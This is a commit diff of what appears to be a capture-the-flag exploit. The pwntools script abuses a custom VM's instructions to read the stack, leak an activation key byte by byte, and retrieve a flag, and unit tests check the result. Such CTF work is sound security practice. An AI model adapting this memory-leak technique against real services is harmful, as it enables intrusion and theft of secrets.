Submission ready state achieved (#8)

exploit/exploit.py

@@ -1,7 +1,9 @@
 #! /usr/bin/env python3
 from enum import IntEnum
 
-from pwn import *
+from pwn import * 
+
+from sys import argv, exit
 
 
 class Opcode(IntEnum):
@@ -52,6 +54,7 @@ class Register(IntEnum):
 
 
 INSTR_LEN = 8
+HOST = "localhost"
 PORT = 1337
 
 
@@ -87,9 +90,8 @@ def arbitrary_write(dst: Register, src: Register):
     # dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
     return instr_r(Opcode.COPY, dst, src)
 
-
-def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote:
-    p = remote("localhost", port, fam="ipv4")
+def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote:
+    p = remote(HOST, PORT, fam="ipv4")
     p.recvuntil(b"Password: ")
     p.sendline(b"1234")
 
@@ -109,7 +111,7 @@ def connect(key: None | bytes = None, is_real_key: bool = False, port: int = POR
     return p
 
 
-def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
+def exec_program(p, program: bytes) -> int:
     log.info(p.recvuntil(b"should it bee?").decode())
     len_msg = str(len(program) // INSTR_LEN)
     log.info(f"Sending: {len_msg}")
@@ -124,17 +126,17 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
     return exit_code
 
 
-def extract_premium_key(is_debug: bool = False, port: int = PORT):
+def extract_premium_key(is_debug: bool = False):
     if is_debug:
-        offset_saved_rip_to_activation_key = 0x38bc  # debug mode
+        offset_saved_rip_to_activation_key = 0x38bc # debug mode
     else:
-        offset_saved_rip_to_activation_key = 0x37a6  # release mode
+        offset_saved_rip_to_activation_key = 0x3626 # release mode
 
     premium_key = b""
 
-    p = connect(b"", False, port)
+    p = connect(b"", False)
     i = 0
-    while i < 0x80:
+    while i < 0x100:
         # mov r8, rsp
         program = load_rsp(Register.G)
         # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
@@ -151,7 +153,6 @@ def extract_premium_key(is_debug: bool = False, port: int = PORT):
         program += instr_r(Opcode.ADD, Register.D, Register.I)
         # mov rax, rbx
         program += instr_r(Opcode.COPY, Register.A, Register.B)
-
         exit_code = exec_program(p, program)
         if exit_code == 0:
             break
@@ -216,9 +217,16 @@ def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False):
 
 if __name__ == "__main__":
     context.log_level = 'warn'
-    debug = False
 
-    premium_key = extract_premium_key(is_debug=debug)
+    if len(argv) != 3:
+        print(f"Usage: {argv[0]} <host> <port>")
+        exit()
+
+    HOST = argv[1]
+    PORT = argv[2]
+    is_debug = False 
+
+    premium_key = extract_premium_key(is_debug)
 
     p = connect(premium_key, True)
-    print(get_flag(p, is_debug=debug))
+    print(get_flag(p, is_debug))

exploit/test_exploit.py

@@ -19,7 +19,8 @@ class ExploitTest(unittest.TestCase):
 
     def __check_extract_activation_key__(self, is_debug: bool):
         port = DEBUG_PORT if is_debug else RELEASE_PORT
-        key = exploit.extract_premium_key(is_debug, port)
+        exploit.PORT = port
+        key = exploit.extract_premium_key(is_debug)
         self.assertEqual(key, __get_activation_key__())
 
     def test_extract_activation_key_debug(self):
@@ -30,7 +31,8 @@ class ExploitTest(unittest.TestCase):
 
     def __check_get_flag__(self, is_debug: bool):
         port = DEBUG_PORT if is_debug else RELEASE_PORT
-        p = exploit.connect(__get_activation_key__(), True, port)
+        exploit.PORT = port
+        p = exploit.connect(__get_activation_key__(), True)
         flag = exploit.get_flag(p, is_debug)
         self.assertRegex(flag, "flag_[0-9a-f]{32}")
 
@@ -42,8 +44,9 @@ class ExploitTest(unittest.TestCase):
 
     def __check_combined__(self, is_debug: bool):
         port = DEBUG_PORT if is_debug else RELEASE_PORT
-        activation_key = exploit.extract_premium_key(is_debug, port)
-        p = exploit.connect(activation_key, True, port)
+        exploit.PORT = port
+        activation_key = exploit.extract_premium_key(is_debug)
+        p = exploit.connect(activation_key, True)
         flag = exploit.get_flag(p, is_debug)
         self.assertRegex(flag, "flag_[0-9a-f]{32}")